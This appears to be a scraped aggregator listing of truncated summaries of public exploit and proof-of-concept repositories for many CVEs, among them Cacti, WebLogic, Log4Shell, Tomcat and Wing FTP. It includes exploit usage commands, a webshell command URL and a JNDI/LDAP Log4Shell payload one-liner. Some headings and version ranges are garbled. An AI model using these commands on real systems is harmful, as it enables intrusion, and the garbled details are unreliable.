CVE-2022-29465

CVE-2022-29464 root@kitploit: go run main.go 请输入目标地址, 如 https://127.0.0.1 https://127.0.0.1:9443 https://127.0.0.1:9443/authenticationendpoint/cmd.jsp?cmd=id...

CVE-2021-2109

描述 Oracle Fusion Middleware 的 Oracle WebLogic Server 产品（组件：Console）存在漏洞。受影响的受支持版本包括 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。该漏洞易于利用，允许具有网络访问权限的高权限攻击者通过 HTTP 破坏 Oracle WebLogic Server。成功利用此漏洞可导致接管 Oracle WebLogic Server。CVSS 3.1 基础评分 7.2（影响保密性、完整性和可用性）。CVSS...

CVE-2023-38408

Vulnerabilidad en OpenSSH - CVE-2023-38408 📚 Introducción Se encontró una vulnerabilidad en OpenSSH antes de la versión 9.3p2. La funcionalidad PKCS11 en el ssh-agent de OpenSSH tiene una ruta de búsqueda insuficientemente confiable, lo que conduce a la ejecución remota de código si un agente se...

CVE-2022-24112

CVE-2022-24112 Apache APISIX batch-requests RCECVE-2022-24112 root@kitploit: 将目标放入url.txt python3 ApacheAPISIXRCECVE-2022-24112.py Cmd:...

CVE-2024-47176

CVE-2024-47176 CUPS（Common UNIX Printing System，通用Unix打印系统）是一个打印系统，它主要是使用 IPP（Internet Printing Protocol）等协议来管理打印工作及队列。 2024年9月27日，互联网上披露 Unix CUPS...

CVE-2022-46169

CVE-2022-46169 漏洞利用 针对 Cacti 1.2.19 中 CVE-2022-46169 漏洞的利用工具 选项 root@kitploit: -u --url 目标URL -f --forwarded 用于绕过认证的X-Forwarded值 -m --mode: check 用于检查易受攻击的服务器，或 exploit 用于有趣的利用模式 :D 使用 root@kitploit: 1. $ ./cve202246169.py -u http://10.10.10.10/cacti -f 10.10.10.10 -m exploit 2. $ ./cve202246169....

CVE-2022-24734

CVE-2022-24734 PoC 在MyBB的管理员控制面板（配置 - 添加新设置）中可以获取远程代码执行（RCE）。用户必须拥有添加或更新设置的权限。该漏洞在MyBB 1.8.29上测试通过。 来源： https://github.com/mybb/mybb/ https://vulners.com/cve/CVE-2022-24734...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner 基于 Python 3 编写的自动 F5 Big IP 远程代码执行 CVE-2020-5902 扫描器 漏洞描述 F5 于 2020 年 6 月 30 日发布了一个影响多个 Big IP 版本的严重远程代码执行漏洞 CVE-2020-5902。攻击者可以轻松利用 TMUI（流量管理用户界面）中未公开页面上的 RCE 和 LFI。 简而言之，这是一个远程代码执行和本地文件包含漏洞的变种，CVSS 评分为 10。 安装 root@kitploit: 对于 Windows $python -m pip install requests 或 对于...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP代码注入PoC漏洞利用（Bash） 简介 ISPConfig 版本 = 3.2.11 存在一个已验证的PHP代码注入漏洞，该漏洞通过 /admin/languageedit.php 端点中的 records 参数触发。恶意认证管理员可以利用此漏洞注入任意PHP代码，从而导致远程代码执行。该漏洞源于对动态生成的PHP代码中使用的语言文件输入处理不当，未进行充分的清理。 用法 root@kitploit: git clone https://github.com/engranaabubakar/CVE-2023-46818.git ...

Dolibarr-17.0.0-Exploit-CVE-2023-30253

Readme.md CVE-2023-30253 CVE-2023-30253 es una vulnerabilidad de seguridad en el software Dolibarr que permite a usuarios autenticados ejecutar código remoto mediante una técnica de manipulación de mayúsculas en datos inyectados. Impacto Esta vulnerabilidad puede provocar la ejecución remota de...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php 未授权命令注入漏洞。 认证绕过 添加 X-Forwarded-For 请求头即可绕过认证，注意其值并非固定值。 暴力枚举 使用 Burp Intruder 对 hostid 和 localdataids 的值进行模糊测试。 远程命令执行 命令注入点位于 pollerid 参数。...

Log4Shell-Payloads

🚨 Log4Shell 漏洞利用载荷集合 精心整理的 Log4Shell / Log4J 漏洞利用载荷 ，针对： CVE-2021-45046 CVE-2022-42889 🔗 由 @nav1n0x 🔥 单行载荷 ✅ 单行载荷1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l L4SFuzzList root@kitploit: ✅...

CVE-2021-22911

CVE-2021-22911 预认证盲注NoSQL注入导致Rocket Chat 3.12.1远程代码执行 getPasswordPolicy方法容易受到NoSQL注入攻击，且不需要身份验证/授权。它可以通过泄露密码重置令牌来接管账户。接管管理员账户会导致远程代码执行。 解释 1. 劫持用户账户（未经身份验证） 在getPasswordPolicy 端点的密码重置token 参数中存在NoSQL注入，该参数接受JSON对象，允许我们使用$regex运算符。我们利用它来执行盲注NoSQL注入以获取重置令牌。 2. 权限提升至管理员（已认证）...

CVE-2021-25641-Proof-of-Concept

The 0xDABB of Doom - CVE-2021-25641 概念验证代码 Apache/Alibaba Dubbo = 2.7.3 中 CVE-2021-25641 RCE 的 PoC 代码，利用未受信任数据的反序列化；影响版本 = 2.7.6，使用不同 Gadget 在 Checkmarx 博客文章 "The 0xDABB of Doom" 中有深入介绍 https://www.checkmarx.com/blog/technical-blog/the-0xdabb-of-doom-cve-2021-25641/...

CVE-2025-24813

利用条件 DefaultServlet 写入功能启用：需在 web.xml 中配置 readonly=false Partial PUT 请求支持：Tomcat 默认支持分块上传 文件会话持久化启用：需在 context.xml 中配置 PersistentManager 和 FileStore 存在反序列化利用链：类路径下需包含存在漏洞的库 影响范围 9.0.0.M1 readonly false 2. 需要在conf/context.xml中，开启File文件会话存储 root@kitploit: root@kitploit: version: '3.8' services:...

asa_tools

Cisco ASA RCE 验证 该脚本可用于验证 CVE-2016-1287 是否存在。 它需要安装 python3 和 python hexdump 模块 root@kitploit: $ sudo pip3 install hexdump 可通过以下方式运行： root@kitploit: python3 cisco-asa.py IP.IP.IP.IP:port...

CVE-2017-10271

CVE-2017-10271 用法: CVE-2017-12149.py http://targetip:port/ WEBLOGIC RCE 仅适用于 Windows，你可以稍微修改代码以适配 Linux。...

CVE-2025-47812-poc

CVE-2025-47812 Wing FTP Server 远程代码执行（RCE）漏洞利用工具 CVE-2025-47812 📌 致谢 ：漏洞由 Julien @MrTuxracer 发现。 本 PoC 实现基于其原始研究成果。 本仓库包含针对 Wing FTP Server 远程代码执行漏洞（CVE-2025-47812） 的 Python 漏洞利用代码。该严重缺陷允许攻击者在受影响的 Wing FTP Server 实例上以 root/SYSTEM 身份实现远程代码执行，即使仅启用了匿名访问。 🚀 概述 该漏洞源于 Wing FTP Server 在认证过程中对用户名参数中的 NU...

CVE-2026-12894

The Qute template engine in Quarkus is vulnerable to server-side template injection (SSTI) via the ReflectionValueResolver component, which fails to properly block access to sensitive Java internal functions when processing certain data types like Enums. An attacker who can provide or influence t...

CVE-2026-12894 Quarkus-qute: io.quarkus.qute.reflectionvalueresolver: quarkus:server-side template injection (ssti) vulnerability in reflectionvalueresolver of the quarkus qute template engine

A flaw was found in the Qute template engine, which is used by Quarkus to generate dynamic content like HTML pages or emails. The issue exists in the component responsible for looking up data values ReflectionValueResolver, which fails to properly block access to sensitive Java internal functions...